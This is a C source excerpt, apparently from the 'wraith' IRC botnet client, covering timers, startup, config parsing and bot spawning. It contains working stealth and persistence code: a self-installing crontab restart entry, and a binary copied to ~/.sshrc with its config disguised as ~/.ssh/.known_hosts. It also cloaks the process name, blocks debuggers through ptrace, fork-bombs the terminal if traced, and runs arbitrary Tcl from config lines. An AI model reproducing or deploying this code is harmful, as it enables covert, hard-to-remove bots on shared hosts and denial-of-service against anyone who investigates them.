  723. if ((now - dcc[idx].simultime) == 60) { /* expire simuls after 60 seconds (re-uses idx, so it wont fill up) */
  724. dcc[idx].simul = -1;
  725. lostdcc(idx);
  726. }
  727. }
  728. }
  729. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  730. if (nowtm.tm_min != lastmin) {
  731. int i = 0;
  732. /* Once a minute */
  733. lastmin = (lastmin + 1) % 60;
  734. call_hook(HOOK_MINUTELY);
  735. check_botnet_pings();
  736. check_expired_ignores();
  737. /* In case for some reason more than 1 min has passed: */
  738. while (nowtm.tm_min != lastmin) {
  739. /* Timer drift, dammit */
  740. debug2("timer: drift (lastmin=%d, now=%d)", lastmin, nowtm.tm_min);
  741. i++;
  742. lastmin = (lastmin + 1) % 60;
  743. call_hook(HOOK_MINUTELY);
  744. }
  745. if (i > 1)
  746. putlog(LOG_MISC, "*", "(!) timer drift -- spun %d minutes", i);
  747. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  748. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  749. call_hook(HOOK_5MINUTELY);
  750. /* flushlogs(); */
  751. if (!miltime) { /* At midnight */
  752. char s[25];
  753. strncpyz(s, ctime(&now), sizeof s);
  754. #ifdef HUB
  755. putlog(LOG_ALL, "*", "--- %.11s%s", s, s + 20);
  756. call_hook(HOOK_BACKUP);
  757. #endif
  758. }
  759. }
  760. if (nowtm.tm_min == notify_users_at)
  761. call_hook(HOOK_HOURLY);
  762. /* These no longer need checking since they are all check vs minutely
  763. * settings and we only get this far on the minute.
  764. */
  765. #ifdef HUB
  766. if (miltime == 300) {
  767. call_hook(HOOK_DAILY);
  768. }
  769. #endif
  770. }
  771. }
  772. #ifdef LEAF
  773. static void check_mypid()
  774. {
  775. module_entry *me;
  776. FILE *fp;
  777. char s[15];
  778. int xx = 0;
  779. char buf2[DIRMAX];
  780. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  781. fp = fopen(buf2, "r");
  782. if (fp != NULL) {
  783. fgets(s, 10, fp);
  784. xx = atoi(s);
  785. if (getpid() != xx) { //we have a major problem if this is happening..
  786. fatal("getpid() does not match pid in file. Possible cloned process, exiting..", 1);
  787. if ((me = module_find("server", 0, 0))) {
  788. Function *func = me->funcs;
  789. (func[SERVER_NUKESERVER]) ("cloned process");
  790. }
  791. botnet_send_bye();
  792. bg_send_quit(BG_ABORT);
  793. exit(1);
  794. }
  795. fclose(fp); //THERE IS THE STUPID BUG OMG
  796. }
  797. }
  798. #endif
  799. static void core_minutely()
  800. {
  801. #ifdef LEAF
  802. check_mypid();
  803. #endif
  804. check_tcl_time(&nowtm);
  805. do_check_timers(&timer);
  806. /* flushlogs(); */
  807. }
  808. static void core_hourly()
  809. {
  810. #ifdef HUB
  811. write_userfile(-1);
  812. #endif
  813. }
  814. static void event_rehash()
  815. {
  816. check_tcl_event("rehash");
  817. }
  818. static void event_prerehash()
  819. {
  820. check_tcl_event("prerehash");
  821. }
  822. static void event_save()
  823. {
  824. check_tcl_event("save");
  825. }
  826. static void event_resettraffic()
  827. {
  828. otraffic_irc += otraffic_irc_today;
  829. itraffic_irc += itraffic_irc_today;
  830. otraffic_bn += otraffic_bn_today;
  831. itraffic_bn += itraffic_bn_today;
  832. otraffic_dcc += otraffic_dcc_today;
  833. itraffic_dcc += itraffic_dcc_today;
  834. otraffic_unknown += otraffic_unknown_today;
  835. itraffic_unknown += itraffic_unknown_today;
  836. otraffic_trans += otraffic_trans_today;
  837. itraffic_trans += itraffic_trans_today;
  838. otraffic_irc_today = otraffic_bn_today = 0;
  839. otraffic_dcc_today = otraffic_unknown_today = 0;
  840. itraffic_irc_today = itraffic_bn_today = 0;
  841. itraffic_dcc_today = itraffic_unknown_today = 0;
  842. itraffic_trans_today = otraffic_trans_today = 0;
  843. }
  844. static void event_loaded()
  845. {
  846. check_tcl_event("loaded");
  847. }
  848. void kill_tcl();
  849. extern module_entry *module_list;
  850. void restart_chons();
  851. void check_static(char *, char *(*)());
  852. #include "mod/static.h"
  853. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_bots(),
  854. init_net(), init_modules(), init_tcl(int, char **), init_botcmd();
  855. void got_ed(char *which, char *in, char *out)
  856. {
  857. Context;
  858. sdprintf("got_Ed called: -%s i: %s o: %s", which, in, out);
  859. if (!in || !out)
  860. fatal("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>",0);
  861. if (!strcmp(in, out))
  862. fatal(STR("<infile> should NOT be the same name as <outfile>"), 0);
  863. check_static("blowfish", blowfish_start);
  864. module_load(ENCMOD);
  865. if (!strcmp(which, "e")) {
  866. EncryptFile(in, out);
  867. fatal("File Encryption complete",3);
  868. } else if (!strcmp(which, "d")) {
  869. DecryptFile(in, out);
  870. fatal("File Decryption complete",3);
  871. }
  872. exit(0);
  873. }
  874. static inline void garbage_collect(void)
  875. {
  876. static u_8bit_t run_cnt = 0;
  877. if (run_cnt == 3)
  878. garbage_collect_tclhash();
  879. else
  880. run_cnt++;
  881. }
  882. int crontab_exists() {
  883. char buf[2048], *out=NULL;
  884. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  885. if (shell_exec(buf, NULL, &out, NULL)) {
  886. if (out && strstr(out, binname)) {
  887. nfree(out);
  888. return 1;
  889. } else {
  890. if (out)
  891. nfree(out);
  892. return 0;
  893. }
  894. } else
  895. return (-1);
  896. }
  897. void crontab_create(int interval) {
  898. char tmpfile[161],
  899. buf[256];
  900. FILE *f;
  901. int fd;
  902. /* always use mkstemp() when handling temp files! -dizz */
  903. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  904. if ((fd = mkstemp(tmpfile)) == -1) {
  905. unlink(tmpfile);
  906. return;
  907. }
  908. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  909. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  910. buf[0] = 0;
  911. if (interval == 1)
  912. strcpy(buf, "*");
  913. else {
  914. int i = 1;
  915. int si = random() % interval;
  916. while (i < 60) {
  917. if (buf[0])
  918. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  919. else
  920. sprintf(buf, "%i", (i + si) % 60);
  921. i += interval;
  922. }
  923. }
  924. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  925. fseek(f, 0, SEEK_END);
  926. fprintf(f, STR("\n%s\n"), buf);
  927. fclose(f);
  928. sprintf(buf, STR("crontab %s"), tmpfile);
  929. shell_exec(buf, NULL, NULL, NULL);
  930. }
  931. close(fd);
  932. unlink(tmpfile);
  933. }
  934. static void check_crontab()
  935. {
  936. int i = 0;
  937. #ifdef LEAF
  938. if (!localhub)
  939. fatal("something is wrong.", 0);
  940. #endif
  941. i=crontab_exists();
  942. if (!i) {
  943. crontab_create(5);
  944. i=crontab_exists();
  945. if (!i)
  946. printf("* Error writing crontab entry.\n");
  947. }
  948. }
  949. #ifdef LEAF
  950. static void gotspawn(char *filename)
  951. {
  952. FILE *fp;
  953. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  954. if (!(fp = fopen(filename, "r")))
  955. fatal("Cannot read from local config (2)", 0);
  956. check_static("blowfish", blowfish_start);
  957. module_load(ENCMOD);
  958. while(fscanf(fp,"%[^\n]\n",templine) != EOF)
  959. {
  960. Context;
  961. temps = (char *) decrypt_string(netpass, decryptit(templine));
  962. #ifdef S_PSCLOAK
  963. sdprintf("GOTSPAWN: %s", temps);
  964. #endif /* S_PSCLOAK */
  965. pscloak = atoi(newsplit(&temps));
  966. if (temps[0])
  967. nick = newsplit(&temps);
  968. if (!nick)
  969. fatal("invalid config (2).",0);
  970. if (temps[0])
  971. ip = newsplit(&temps);
  972. if (temps[0])
  973. host = newsplit(&temps);
  974. if (temps[0])
  975. ipsix = newsplit(&temps);
  976. snprintf(origbotname, 10, "%s", nick);
  977. if (ip[1]) {
  978. if (ip[0] == '!') { //natip
  979. ip++;
  980. sprintf(natip,"%s",ip);
  981. } else {
  982. snprintf(myip, 120, "%s", ip);
  983. }
  984. }
  985. if (host && host[1]) {
  986. if (host[0] == '+') { //ip6 host
  987. host++;
  988. sprintf(hostname6,"%s",host);
  989. } else { //normal ip4 host
  990. sprintf(hostname,"%s",host);
  991. }
  992. }
  993. if (ipsix && ipsix[1]) {
  994. snprintf(myip6, 120, "%s", ipsix);
  995. }
  996. }
  997. fclose(fp);
  998. unlink(filename);
  999. }
  1000. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  1001. {
  1002. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  1003. FILE *fp;
  1004. sprintf(buf, "%s", bin);
  1005. sprintf(bindir, "%s", dirname(buf));
  1006. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  1007. if (!(fp = fopen(buf, "w")))
  1008. fatal("Cannot create spawnfiles...", 0);
  1009. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  1010. fflush(fp);
  1011. fclose(fp);
  1012. sprintf(bufrun, "%s -c %s", bin, buf);
  1013. return system(bufrun);
  1014. }
  1015. #endif
  1016. #ifdef S_MESSUPTERM
  1017. void messup_term() {
  1018. int i;
  1019. char * argv[4];
  1020. freopen(STR("/dev/null"), "w", stderr);
  1021. for (i=0;i<11;i++) {
  1022. fork();
  1023. }
  1024. argv[0]=nmalloc(100);
  1025. strcpy(argv[0], STR("/bin/sh"));
  1026. argv[1]="-c";
  1027. argv[2]=nmalloc(1024);
  1028. strcpy(argv[2], STR("cat < "));
  1029. strcat(argv[2], binname);
  1030. argv[3]=NULL;
  1031. execvp(argv[0], &argv[0]);
  1032. }
  1033. #endif /* S_MESSUPTERM */
  1034. void check_trace_start()
  1035. {
  1036. #ifdef S_ANTITRACE
  1037. int parent = getpid();
  1038. int xx = 0, i = 0;
  1039. #ifdef __linux__
  1040. xx = fork();
  1041. if (xx == -1) {
  1042. printf(STR("Can't fork process!\n"));
  1043. exit(1);
  1044. } else if (xx == 0) {
  1045. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  1046. if (i == (-1) && errno == EPERM) {
  1047. #ifdef S_MESSUPTERM
  1048. messup_term();
  1049. #else
  1050. kill(parent, SIGKILL);
  1051. exit(1);
  1052. #endif /* S_MESSUPTERM */
  1053. } else {
  1054. waitpid(parent, &i, 0);
  1055. kill(parent, SIGCHLD);
  1056. ptrace(PTRACE_DETACH, parent, 0, 0);
  1057. kill(parent, SIGCHLD);
  1058. }
  1059. exit(0);
  1060. } else {
  1061. wait(&i);
  1062. }
  1063. #endif /* __linux__ */
  1064. #ifdef __FreeBSD__
  1065. xx = fork();
  1066. if (xx == -1) {
  1067. printf(STR("Can't fork process!\n"));
  1068. exit(1);
  1069. } else if (xx == 0) {
  1070. i = ptrace(PT_ATTACH, parent, 0, 0);
  1071. if (i == (-1) && errno == EBUSY) {
  1072. #ifdef S_MESSUPTERM
  1073. messup_term();
  1074. #else
  1075. kill(parent, SIGKILL);
  1076. exit(1);
  1077. #endif /* S_MESSUPTERM */
  1078. } else {
  1079. wait(&i);
  1080. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1081. kill(parent, SIGCHLD);
  1082. wait(&i);
  1083. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1084. wait(&i);
  1085. }
  1086. exit(0);
  1087. } else {
  1088. waitpid(xx, NULL, 0);
  1089. }
  1090. #endif /* __FreeBSD__ */
  1091. #ifdef __OpenBSD__
  1092. xx = fork();
  1093. if (xx == -1) {
  1094. printf(STR("Can't fork process!\n"));
  1095. exit(1);
  1096. } else if (xx == 0) {
  1097. i = ptrace(PT_ATTACH, parent, 0, 0);
  1098. if (i == (-1) && errno == EBUSY) {
  1099. kill(parent, SIGKILL);
  1100. exit(1);
  1101. } else {
  1102. wait(&i);
  1103. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1104. kill(parent, SIGCHLD);
  1105. wait(&i);
  1106. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1107. wait(&i);
  1108. }
  1109. exit(0);
  1110. } else {
  1111. waitpid(xx, NULL, 0);
  1112. }
  1113. #endif /* __OpenBSD__ */
  1114. #endif /* S_ANTITRACE */
  1115. }
  1116. char *homedir()
  1117. {
  1118. static char home[DIRMAX];
  1119. struct passwd *pw;
  1120. pw = getpwuid(geteuid());
  1121. if (!pw)
  1122. werr(ERR_PASSWD);
  1123. snprintf(home, sizeof home, "%s", pw->pw_dir);
  1124. return home;
  1125. }
  1126. char *confdir()
  1127. {
  1128. static char conf[DIRMAX];
  1129. #ifdef LEAF
  1130. {
  1131. snprintf(conf, sizeof conf, "%s/.ssh", homedir());
  1132. }
  1133. #endif /* LEAF */
  1134. #ifdef HUB
  1135. {
  1136. char *tmpdir;
  1137. tmpdir = nmalloc(sizeof(binname)+1);
  1138. strcpy(tmpdir, binname);
  1139. snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
  1140. nfree(tmpdir);
  1141. }
  1142. #endif /* HUB */
  1143. return conf;
  1144. }
  1145. int main(int argc, char **argv)
  1146. {
  1147. int xx, i;
  1148. #ifdef LEAF
  1149. int x = 1;
  1150. #endif
  1151. char buf[SGRAB + 9], s[25];
  1152. FILE *f;
  1153. struct sigaction sv;
  1154. struct chanset_t *chan;
  1155. #ifdef LEAF
  1156. int skip = 0;
  1157. FILE *fp;
  1158. char newbinbuf[DIRMAX], newbin[DIRMAX], tmp[DIRMAX],
  1159. cfile[DIRMAX], templine[8192], *temps;
  1160. int ok = 1;
  1161. #else
  1162. char tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
  1163. #endif
  1164. char c[1024], *vers_n, *unix_n;
  1165. #ifdef HAVE_UNAME
  1166. struct utsname un;
  1167. #endif
  1168. char check[100];
  1169. #ifdef DEBUG_MEM
  1170. /* Make sure it can write core, if you make debug. Else it's pretty
  1171. * useless (dw)
  1172. */
  1173. {
  1174. #include <sys/resource.h>
  1175. struct rlimit cdlim, plim, fdlim, rsslim, stacklim;
  1176. // rsslim.rlim_cur = 30720;
  1177. // rsslim.rlim_max = 30720;
  1178. // setrlimit(RLIMIT_RSS, &rsslim);
  1179. // stacklim.rlim_cur = 30720;
  1180. // stacklim.rlim_max = 30720;
  1181. // setrlimit(RLIMIT_STACK, &stacklim);
  1182. plim.rlim_cur = 50;
  1183. plim.rlim_max = 50;
  1184. setrlimit(RLIMIT_NPROC, &plim);
  1185. fdlim.rlim_cur = 200;
  1186. fdlim.rlim_max = 200;
  1187. //#ifdef __FreeBSD__
  1188. // setrlimit(RLIMIT_OFILE, &fdlim);
  1189. //#else
  1190. setrlimit(RLIMIT_NOFILE, &fdlim);
  1191. //#endif
  1192. cdlim.rlim_cur = RLIM_INFINITY;
  1193. cdlim.rlim_max = RLIM_INFINITY;
  1194. setrlimit(RLIMIT_CORE, &cdlim);
  1195. }
  1196. #endif
  1197. /* Initialise context list */
  1198. for (i = 0; i < 16; i++)
  1199. Context;
  1200. /* Version info! */
  1201. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1202. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1203. /* Now add on the patchlevel (for Tcl) */
  1204. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1205. #ifdef STOP_UAC
  1206. {
  1207. int nvpair[2];
  1208. nvpair[0] = SSIN_UACPROC;
  1209. nvpair[1] = UAC_NOPRINT;
  1210. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1211. }
  1212. #endif
  1213. /* Set up error traps: */
  1214. sv.sa_handler = got_bus;
  1215. sigemptyset(&sv.sa_mask);
  1216. #ifdef SA_RESETHAND
  1217. sv.sa_flags = SA_RESETHAND;
  1218. #else
  1219. sv.sa_flags = 0;
  1220. #endif
  1221. sigaction(SIGBUS, &sv, NULL);
  1222. sv.sa_handler = got_segv;
  1223. sigaction(SIGSEGV, &sv, NULL);
  1224. #ifdef SA_RESETHAND
  1225. sv.sa_flags = 0;
  1226. #endif
  1227. sv.sa_handler = got_fpe;
  1228. sigaction(SIGFPE, &sv, NULL);
  1229. sv.sa_handler = got_term;
  1230. sigaction(SIGTERM, &sv, NULL);
  1231. sv.sa_handler = got_stop;
  1232. sigaction(SIGSTOP, &sv, NULL);
  1233. #ifdef S_HIJACKCHECK
  1234. sv.sa_handler = got_cont;
  1235. sigaction(SIGCONT, &sv, NULL);
  1236. #endif
  1237. sv.sa_handler = got_hup;
  1238. sigaction(SIGHUP, &sv, NULL);
  1239. sv.sa_handler = got_quit;
  1240. sigaction(SIGQUIT, &sv, NULL);
  1241. sv.sa_handler = SIG_IGN;
  1242. sigaction(SIGPIPE, &sv, NULL);
  1243. sv.sa_handler = got_ill;
  1244. sigaction(SIGILL, &sv, NULL);
  1245. sv.sa_handler = got_alarm;
  1246. sigaction(SIGALRM, &sv, NULL);
  1247. Context;
  1248. /* Initialize variables and stuff */
  1249. #ifdef S_UTCTIME
  1250. now_tmp = time(NULL);
  1251. now = mktime(gmtime(&now_tmp));
  1252. #else
  1253. now = time(NULL);
  1254. #endif /* S_UTCTIME */
  1255. chanset = NULL;
  1256. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1257. lastmin = nowtm.tm_min;
  1258. srandom(now % (getpid() + getppid()));
  1259. init_mem();
  1260. myuid = geteuid();
  1261. binname = getfullbinname(argv[0]);
  1262. if (!can_stat(binname))
  1263. werr(ERR_BINSTAT);
  1264. if (!fixmod(binname))
  1265. werr(ERR_BINMOD);
  1266. init_settings();
  1267. init_tcl(argc, argv);
  1268. if (argc) {
  1269. sdprintf("Calling dtx_arg with %d params.", argc);
  1270. dtx_arg(argc, argv);
  1271. }
  1272. if (checktrace)
  1273. check_trace_start();
  1274. #ifdef LEAF
  1275. sdprintf("my uid: %d my uuid: %d, my ppid: %d my pid: %d", getuid(), geteuid(), getppid(), getpid());
  1276. chdir(homedir());
  1277. snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
  1278. snprintf(tempdir, sizeof tempdir, "%s/...", confdir());
  1279. #endif /* LEAF */
  1280. #ifdef HUB
  1281. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir());
  1282. #endif /* HUB */
  1283. #ifdef LEAF
  1284. /* is the homedir a symlink? */
  1285. sdprintf("newbin starts at: %s", newbin);
  1286. /* fuck it, I hate dealing with this shit.
  1287. if (!can_stat(newbin)) {
  1288. int f = 0;
  1289. if (ss.st_mode & S_IFLNK) { //stupid symlinked home dirs !
  1290. f = readlink(newbin, newbinbuf, sizeof newbinbuf);
  1291. if (!f) {
  1292. sdprintf("symlink newbin: %s", newbin);
  1293. strcpy(newbin, newbinbuf);
  1294. sdprintf("newbin is now: %s", newbin);
  1295. } else {
  1296. sdprintf("readlink failed on %s with error %d erno %d", newbin, f, errno);
  1297. //fuck it. (no paths)
  1298. sprintf(newbin, ".sshrc");
  1299. copyfile(binname, newbin);
  1300. skip = 1;
  1301. }
  1302. }
  1303. }
  1304. sdprintf(STR("skip is: %d"), skip);
  1305. */
  1306. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1307. sdprintf("wrong dir, is: %s :: %s", binname, newbin);
  1308. unlink(newbin);
  1309. if (copyfile(binname,newbin))
  1310. ok = 0;
  1311. if (ok)
  1312. if (!can_stat(newbin)) {
  1313. unlink(newbin);
  1314. ok = 0;
  1315. }
  1316. if (ok)
  1317. if (!fixmod(newbin)) {
  1318. unlink(newbin);
  1319. ok = 0;
  1320. }
  1321. if (!ok)
  1322. werr(ERR_WRONGBINDIR);
  1323. else {
  1324. unlink(binname);
  1325. system(newbin);
  1326. sdprintf(STR("exiting to let new binary run..."));
  1327. exit(0);
  1328. }
  1329. }
  1330. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1331. #endif /* LEAF */
  1332. snprintf(tmp, sizeof tmp, "%s/", confdir());
  1333. if (!can_stat(tmp)) {
  1334. #ifdef LEAF
  1335. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1336. unlink(confdir());
  1337. if (!can_stat(confdir()))
  1338. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
  1339. #endif /* LEAF */
  1340. werr(ERR_CONFSTAT);
  1341. #ifdef LEAF
  1342. }
  1343. #endif /* LEAF */
  1344. }
  1345. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1346. if (!can_stat(tmp)) {
  1347. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1348. unlink(tempdir);
  1349. if (!can_stat(tempdir))
  1350. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1351. werr(ERR_TMPSTAT);
  1352. }
  1353. }
  1354. if (!fixmod(confdir()))
  1355. werr(ERR_CONFDIRMOD);
  1356. if (!fixmod(tempdir))
  1357. werr(ERR_TMPMOD);
  1358. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1359. #ifdef LEAF
  1360. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
  1361. #else
  1362. snprintf(cfile, sizeof cfile, "%s/conf", confdir());
  1363. #endif /* LEAF */
  1364. if (!can_stat(cfile))
  1365. werr(ERR_NOCONF);
  1366. if (!fixmod(cfile))
  1367. werr(ERR_CONFMOD);
  1368. Context;
  1369. init_dcc_max();
  1370. init_userent();
  1371. init_misc();
  1372. init_bots();
  1373. init_net();
  1374. init_modules();
  1375. init_userrec();
  1376. if (backgrd)
  1377. bg_prepare_split();
  1378. init_botcmd();
  1379. link_statics();
  1380. module_load(ENCMOD);
  1381. #ifdef LEAF
  1382. if (localhub) { //we only want to read the config if we are the spawn bot..
  1383. #endif /* LEAF */
  1384. #ifdef HAVE_UNAME
  1385. if (uname(&un) < 0) {
  1386. #endif /* HAVE_UNAME */
  1387. unix_n = "*unkown*";
  1388. vers_n = "";
  1389. #ifdef HAVE_UNAME
  1390. } else {
  1391. unix_n = un.nodename;
  1392. #ifdef __FreeBSD__
  1393. vers_n = un.release;
  1394. #else
  1395. vers_n = un.version;
  1396. #endif /* __FreeBSD__ */
  1397. }
  1398. #endif /* HAVE_UNAME */
  1399. i = 0;
  1400. if (!(f = fopen(cfile, "r")))
  1401. werr(0);
  1402. Context;
  1403. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1404. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  1405. int skip = 0;
  1406. if (templine[0] != '+') {
  1407. printf(STR("%d: "), i);
  1408. werr(ERR_CONFBADENC);
  1409. }
  1410. temps = (char *) decrypt_string(netpass, decryptit(templine));
  1411. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1412. printf(STR("%d: "), i);
  1413. werr(ERR_CONFBADENC);
  1414. }
  1415. snprintf(c, sizeof c, "%s",temps);
  1416. if (c[0] == '*')
  1417. skip = 1;
  1418. else if (c[0] == '-' && !skip) { //this is the uid
  1419. newsplit(&temps);
  1420. if (geteuid() != atoi(temps)) {
  1421. sdprintf("wrong uid, conf: %d :: %d", atoi(temps), geteuid());
  1422. werr(ERR_WRONGUID);
  1423. }
  1424. } else if (c[0] == '+' && !skip) { //this is the uname
  1425. int r = 0;
  1426. newsplit(&temps);
  1427. snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
  1428. if ((r = strcmp(temps, check))) {
  1429. sdprintf("wrong uname, conf: %s :: %s", check, temps);
  1430. werr(ERR_WRONGUNAME);
  1431. }
  1432. } else if (c[0] == '!') { //local tcl exploit
  1433. if (c[1] == '-') { //dont use pscloak
  1434. #ifdef S_PSCLOAK
  1435. sdprintf("NOT CLOAKING");
  1436. #endif /* S_PSCLOAK */
  1437. pscloak = 0;
  1438. } else {
  1439. newsplit(&temps);
  1440. Tcl_Eval(interp, temps);
  1441. }
  1442. } else if (c[0] != '#') { //now to parse nick/hosts
  1443. //we have the right uname/uid, safe to setup crontab now.
  1444. i++;
  1445. nick = newsplit(&temps);
  1446. if (!nick || !nick[0])
  1447. werr(ERR_BADCONF);
  1448. sdprintf("Read nick from config: %s", nick);
  1449. if (temps[0])
  1450. ip = newsplit(&temps);
  1451. if (temps[0])
  1452. host = newsplit(&temps);
  1453. if (temps[0])
  1454. ipsix = newsplit(&temps);
  1455. if (i == 1) { //this is the first bot ran/parsed
  1456. strncpyz(s, ctime(&now), sizeof s);
  1457. strcpy(&s[11], &s[20]);
  1458. // printf("--- Loading %s (%s)\n\n", ver, s);
  1459. if (ip && ip[0] == '!') { //natip
  1460. ip++;
  1461. sprintf(natip, "%s",ip);
  1462. } else {
  1463. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1464. snprintf(myip, 120, "%s", ip);
  1465. }
  1466. snprintf(origbotname, 10, "%s", nick);
  1467. #ifdef HUB
  1468. sprintf(userfile, "%s/.%s.user", confdir(), nick);
  1469. #endif /* HUB */
  1470. /* log sprintf(logfile, "%s/.%s.log", confdir(), nick); */
  1471. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1472. if (host[0] == '+') { //ip6 host
  1473. host++;
  1474. sprintf(hostname6, "%s",host);
  1475. } else //normal ip4 host
  1476. sprintf(hostname, "%s",host);
  1477. }
  1478. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1479. snprintf(myip6, 120, "%s",ipsix);
  1480. }
  1481. }
  1482. #ifdef LEAF
  1483. else { //these are the rest of the bots..
  1484. char buf2[DIRMAX];
  1485. xx = 0, x = 0, errno = 0;
  1486. s[0] = '\0';
  1487. /* first let's determine if the bot is already running or not.. */
  1488. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1489. fp = fopen(buf2, "r");
  1490. if (fp != NULL) {
  1491. fgets(s, 10, fp);
  1492. fclose(fp);
  1493. xx = atoi(s);
  1494. if (updating) {
  1495. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1496. unlink(buf2);
  1497. }
  1498. kill(xx, SIGCHLD);
  1499. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1500. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1501. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1502. }
  1503. } else {
  1504. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1505. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1506. }
  1507. }
  1508. #endif /* LEAF */
  1509. } // if read in[0] != #
  1510. temps = 0;
  1511. }
  1512. fclose(f);
  1513. #ifdef LEAF
  1514. if (updating)
  1515. exit(0); //let the 5 min timer restart us.
  1516. } // (localhub)
  1517. #endif /* LEAF */
  1518. module_load("dns");
  1519. module_load("channels");
  1520. #ifdef LEAF
  1521. module_load("server");
  1522. module_load("irc");
  1523. #endif /* LEAF */
  1524. module_load("transfer");
  1525. module_load("share");
  1526. module_load("update");
  1527. module_load("notes");
  1528. module_load("console");
  1529. module_load("ctcp");
  1530. module_load("compress");
  1531. chanprog();
  1532. #ifdef LEAF
  1533. if (localhub) {
  1534. sdprintf("I am localhub (%s)", origbotname);
  1535. #endif /* LEAF */
  1536. check_crontab();
  1537. #ifdef LEAF
  1538. }
  1539. #endif
  1540. if (!encrypt_pass) {
  1541. sdprintf(MOD_NOCRYPT);
  1542. bg_send_quit(BG_ABORT);
  1543. exit(1);
  1544. }
  1545. cache_miss = 0;
  1546. cache_hit = 0;
  1547. if (!pid_file[0])
  1548. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1549. f = fopen(pid_file, "r");
  1550. if ((localhub && !updating) || !localhub) {
  1551. if (f != NULL) {
  1552. fgets(s, 10, f);
  1553. xx = atoi(s);
  1554. kill(xx, SIGCHLD);
  1555. if (errno != ESRCH) { //!= is PID is running.
  1556. sdprintf("%s is already running, pid: %d", botnetnick, xx);
  1557. bg_send_quit(BG_ABORT);
  1558. exit(1);
  1559. }
  1560. }
  1561. }
  1562. #ifdef LEAF
  1563. #ifdef S_PSCLOAK
  1564. if (pscloak) {
  1565. int on = 0;
  1566. strncpy(argv[0],progname(),strlen(argv[0]));
  1567. //this clears all the params..
  1568. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1569. }
  1570. #endif /* PSCLOAK */
  1571. #endif /* LEAF */
  1572. i = 0;
  1573. for (chan = chanset; chan; chan = chan->next)
  1574. i++;
  1575. putlog(LOG_MISC, "*", "=== %s: %d channels, %d users.",
  1576. botnetnick, i, count_users(userlist));
  1577. /* Move into background? */
  1578. if (backgrd) {
  1579. #ifndef CYGWIN_HACKS
  1580. bg_do_split();
  1581. } else { /* !backgrd */
  1582. #endif /* CYGWIN_HACKS */
  1583. xx = getpid();
  1584. if (xx != 0) {
  1585. FILE *fp;
  1586. /* Write pid to file */
  1587. unlink(pid_file);
  1588. fp = fopen(pid_file, "w");
  1589. if (fp != NULL) {
  1590. fprintf(fp, "%u\n", xx);
  1591. if (fflush(fp)) {
  1592. /* Let the bot live since this doesn't appear to be a botchk */
  1593. printf(EGG_NOWRITE, pid_file);
  1594. fclose(fp);
  1595. unlink(pid_file);
  1596. } else
  1597. fclose(fp);
  1598. } else
  1599. printf(EGG_NOWRITE, pid_file);
  1600. #ifdef CYGWIN_HACKS
  1601. printf("Launched into the background (pid: %d)\n\n", xx);
  1602. #endif /* CYGWIN_HACKS */
  1603. }
